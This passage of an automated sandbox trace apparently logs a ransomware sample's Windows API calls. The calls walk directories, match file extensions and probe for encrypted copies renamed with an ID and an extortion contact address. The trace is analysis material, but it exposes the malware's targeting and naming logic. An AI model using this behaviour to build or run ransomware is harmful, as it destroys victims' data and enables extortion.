lpFindFileData=0x30dfcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0190.247] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0190.247] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1 [0190.247] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0 [0190.247] FindClose (in: hFindFile=0x484458 | out: hFindFile=0x484458) returned 1 [0190.247] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3881440 | out: hHeap=0x420000) returned 1 Thread: id = 44 os_tid = 0xdf8 [0157.056] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x38a1450 [0157.056] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x38b1458 [0157.056] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d168 [0157.056] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bda68 [0157.057] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d270 [0157.057] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x3c6a020 [0157.059] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d288 [0157.059] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d288, Size=0x20) returned 0x45f300 [0157.059] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d318 [0157.059] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d318, Size=0x20) returned 0x45f350 [0157.060] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0157.060] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0157.060] Wow64DisableWow64FsRedirection (in: OldValue=0x321ff50 | out: OldValue=0x321ff50*=0x0) returned 1 [0157.060] lstrlenW (lpString="kernel32.dll") returned 12 [0157.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f300 | out: hHeap=0x420000) returned 1 [0157.060] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f350 | out: hHeap=0x420000) returned 1 [0157.060] Sleep (dwMilliseconds=0x64) [0157.232] lstrcmpiW (lpString1=".MARKER", lpString2=".NEWS") returned -1 [0157.234] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0157.234] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0157.418] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=0) returned 1 [0157.418] CloseHandle (hObject=0x378) returned 1 [0157.418] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0157.418] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0157.418] lstrlenW (lpString=".doc") returned 4 [0157.418] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0157.418] lstrlenW (lpString=".docx") returned 5 [0157.418] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0157.418] lstrlenW (lpString=".pdf") returned 4 [0157.418] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0157.418] lstrlenW (lpString=".xls") returned 4 [0157.418] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0157.418] lstrlenW (lpString=".xlsx") returned 5 [0157.418] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0157.418] lstrlenW (lpString=".ppt") returned 4 [0157.418] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0157.418] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0157.418] lstrlenW (lpString=".zip") returned 4 [0157.418] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0157.418] lstrlenW (lpString=".rar") returned 4 [0157.418] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0157.418] lstrlenW (lpString=".bz2") returned 4 [0157.418] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0157.418] lstrlenW (lpString=".7z") returned 3 [0157.418] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0157.418] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0157.418] lstrlenW (lpString=".dbf") returned 4 [0157.419] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0157.419] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0157.419] lstrlenW (lpString=".1cd") returned 4 [0157.419] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0157.419] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0157.419] lstrlenW (lpString=".jpg") returned 4 [0157.419] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0157.419] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0157.419] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0157.419] lstrlenW (lpString=".doc") returned 4 [0157.419] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0157.419] lstrlenW (lpString=".docx") returned 5 [0157.419] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0157.419] lstrlenW (lpString=".pdf") returned 4 [0157.419] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0157.419] lstrlenW (lpString=".xls") returned 4 [0157.419] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0157.419] lstrlenW (lpString=".xlsx") returned 5 [0157.419] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0157.419] lstrlenW (lpString=".ppt") returned 4 [0157.419] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0157.419] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0157.419] lstrlenW (lpString=".zip") returned 4 [0157.419] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0157.419] lstrlenW (lpString=".rar") returned 4 [0157.419] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0157.419] lstrlenW (lpString=".bz2") returned 4 [0157.419] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0157.419] lstrlenW (lpString=".7z") returned 3 [0157.419] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0157.419] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0157.419] lstrlenW (lpString=".dbf") returned 4 [0157.419] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0157.419] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0157.419] lstrlenW (lpString=".1cd") returned 4 [0157.420] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0157.420] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0157.420] lstrlenW (lpString=".jpg") returned 4 [0157.420] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0157.420] Sleep (dwMilliseconds=0x64) [0157.600] Sleep (dwMilliseconds=0x64) [0157.837] lstrlenW (lpString="BCD") returned 3 [0157.837] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.837] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0157.837] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0157.837] lstrlenW (lpString=".doc") returned 4 [0157.837] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0157.837] lstrlenW (lpString=".docx") returned 5 [0157.837] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0157.837] lstrlenW (lpString=".pdf") returned 4 [0157.837] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0157.837] lstrlenW (lpString=".xls") returned 4 [0157.837] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0157.837] lstrlenW (lpString=".xlsx") returned 5 [0157.837] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0157.837] lstrlenW (lpString=".ppt") returned 4 [0157.837] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0157.837] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0157.837] lstrlenW (lpString=".zip") returned 4 [0157.837] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0157.837] lstrlenW (lpString=".rar") returned 4 [0157.837] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0157.838] lstrlenW (lpString=".bz2") returned 4 [0157.838] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0157.838] lstrlenW (lpString=".7z") returned 3 [0157.838] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0157.838] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0157.838] lstrlenW (lpString=".dbf") returned 4 [0157.838] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0157.838] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0157.838] lstrlenW (lpString=".1cd") returned 4 [0157.838] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0157.838] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0157.838] lstrlenW (lpString=".jpg") returned 4 [0157.838] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0157.838] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0157.838] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0157.838] lstrlenW (lpString=".doc") returned 4 [0157.838] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0157.838] lstrlenW (lpString=".docx") returned 5 [0157.838] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0157.838] lstrlenW (lpString=".pdf") returned 4 [0157.838] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0157.838] lstrlenW (lpString=".xls") returned 4 [0157.838] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0157.838] lstrlenW (lpString=".xlsx") returned 5 [0157.838] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0157.838] lstrlenW (lpString=".ppt") returned 4 [0157.838] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0157.838] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0157.838] lstrlenW (lpString=".zip") returned 4 [0157.838] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0157.838] lstrlenW (lpString=".rar") returned 4 [0157.838] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0157.838] lstrlenW (lpString=".bz2") returned 4 [0157.838] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0157.838] lstrlenW (lpString=".7z") returned 3 [0157.838] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0157.839] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0157.839] lstrlenW (lpString=".dbf") returned 4 [0157.839] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0157.839] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0157.839] lstrlenW (lpString=".1cd") returned 4 [0157.839] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0157.839] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0157.839] lstrlenW (lpString=".jpg") returned 4 [0157.839] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0157.839] Sleep (dwMilliseconds=0x64) [0158.010] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0158.010] lstrlenW (lpString="bootspaces.dll") returned 14 [0158.010] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0158.103] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=95648) returned 1 [0158.103] CloseHandle (hObject=0x3a8) returned 1 [0158.104] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0158.104] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.104] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.104] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0158.104] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0158.104] lstrlenW (lpString=".doc") returned 4 [0158.104] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.104] lstrlenW (lpString=".docx") returned 5 [0158.104] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0158.104] lstrlenW (lpString=".pdf") returned 4 [0158.104] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.104] lstrlenW (lpString=".xls") returned 4 [0158.104] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.104] lstrlenW (lpString=".xlsx") returned 5 [0158.104] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0158.104] lstrlenW (lpString=".ppt") returned 4 [0158.104] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.104] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0158.104] lstrlenW (lpString=".zip") returned 4 [0158.104] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.104] lstrlenW (lpString=".rar") returned 4 [0158.104] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.104] lstrlenW (lpString=".bz2") returned 4 [0158.105] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.105] lstrlenW (lpString=".7z") returned 3 [0158.105] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.105] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0158.105] lstrlenW (lpString=".dbf") returned 4 [0158.105] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.105] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0158.105] lstrlenW (lpString=".1cd") returned 4 [0158.105] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.105] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0158.105] lstrlenW (lpString=".jpg") returned 4 [0158.105] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.105] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0158.105] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0158.105] lstrlenW (lpString=".doc") returned 4 [0158.105] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.105] lstrlenW (lpString=".docx") returned 5 [0158.105] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0158.105] lstrlenW (lpString=".pdf") returned 4 [0158.105] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.105] lstrlenW (lpString=".xls") returned 4 [0158.105] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.105] lstrlenW (lpString=".xlsx") returned 5 [0158.105] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0158.105] lstrlenW (lpString=".ppt") returned 4 [0158.105] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.105] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0158.105] lstrlenW (lpString=".zip") returned 4 [0158.105] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.105] lstrlenW (lpString=".rar") returned 4 [0158.105] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.105] lstrlenW (lpString=".bz2") returned 4 [0158.106] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.106] lstrlenW (lpString=".7z") returned 3 [0158.106] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.106] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0158.106] lstrlenW (lpString=".dbf") returned 4 [0158.106] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.106] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0158.106] lstrlenW (lpString=".1cd") returned 4 [0158.106] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.106] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0158.106] lstrlenW (lpString=".jpg") returned 4 [0158.106] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.106] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0158.106] lstrlenW (lpString="msyhn_boot.ttf") returned 14 [0158.106] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.279] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=154427) returned 1 [0158.279] CloseHandle (hObject=0x3cc) returned 1 [0158.279] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0158.279] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.279] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.279] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0158.279] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0158.279] lstrlenW (lpString=".doc") returned 4 [0158.279] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.279] lstrlenW (lpString=".docx") returned 5 [0158.279] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.279] lstrlenW (lpString=".pdf") returned 4 [0158.279] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.279] lstrlenW (lpString=".xls") returned 4 [0158.279] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.279] lstrlenW (lpString=".xlsx") returned 5 [0158.279] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.279] lstrlenW (lpString=".ppt") returned 4 [0158.280] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.280] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0158.280] lstrlenW (lpString=".zip") returned 4 [0158.280] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.280] lstrlenW (lpString=".rar") returned 4 [0158.280] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.280] lstrlenW (lpString=".bz2") returned 4 [0158.280] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.280] lstrlenW (lpString=".7z") returned 3 [0158.280] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.280] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0158.280] lstrlenW (lpString=".dbf") returned 4 [0158.280] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.280] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0158.280] lstrlenW (lpString=".1cd") returned 4 [0158.280] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.280] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0158.280] lstrlenW (lpString=".jpg") returned 4 [0158.280] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.280] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0158.280] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0158.280] lstrlenW (lpString=".doc") returned 4 [0158.280] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.280] lstrlenW (lpString=".docx") returned 5 [0158.280] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.280] lstrlenW (lpString=".pdf") returned 4 [0158.280] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.280] lstrlenW (lpString=".xls") returned 4 [0158.280] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.280] lstrlenW (lpString=".xlsx") returned 5 [0158.280] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.280] lstrlenW (lpString=".ppt") returned 4 [0158.280] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.280] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0158.280] lstrlenW (lpString=".zip") returned 4 [0158.281] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.281] lstrlenW (lpString=".rar") returned 4 [0158.281] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.281] lstrlenW (lpString=".bz2") returned 4 [0158.281] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.281] lstrlenW (lpString=".7z") returned 3 [0158.281] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.281] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0158.281] lstrlenW (lpString=".dbf") returned 4 [0158.281] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.281] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0158.281] lstrlenW (lpString=".1cd") returned 4 [0158.281] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.281] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0158.281] lstrlenW (lpString=".jpg") returned 4 [0158.281] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.281] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.281] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0158.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0158.357] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=9728) returned 1 [0158.357] CloseHandle (hObject=0x3e0) returned 1 [0158.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0158.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0158.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0158.376] lstrlenW (lpString=".doc") returned 4 [0158.376] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.376] lstrlenW (lpString=".docx") returned 5 [0158.376] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.376] lstrlenW (lpString=".pdf") returned 4 [0158.376] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.376] lstrlenW (lpString=".xls") returned 4 [0158.376] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.376] lstrlenW (lpString=".xlsx") returned 5 [0158.376] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.376] lstrlenW (lpString=".ppt") returned 4 [0158.377] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0158.377] lstrlenW (lpString=".zip") returned 4 [0158.377] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.377] lstrlenW (lpString=".rar") returned 4 [0158.377] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.377] lstrlenW (lpString=".bz2") returned 4 [0158.377] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.377] lstrlenW (lpString=".7z") returned 3 [0158.377] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 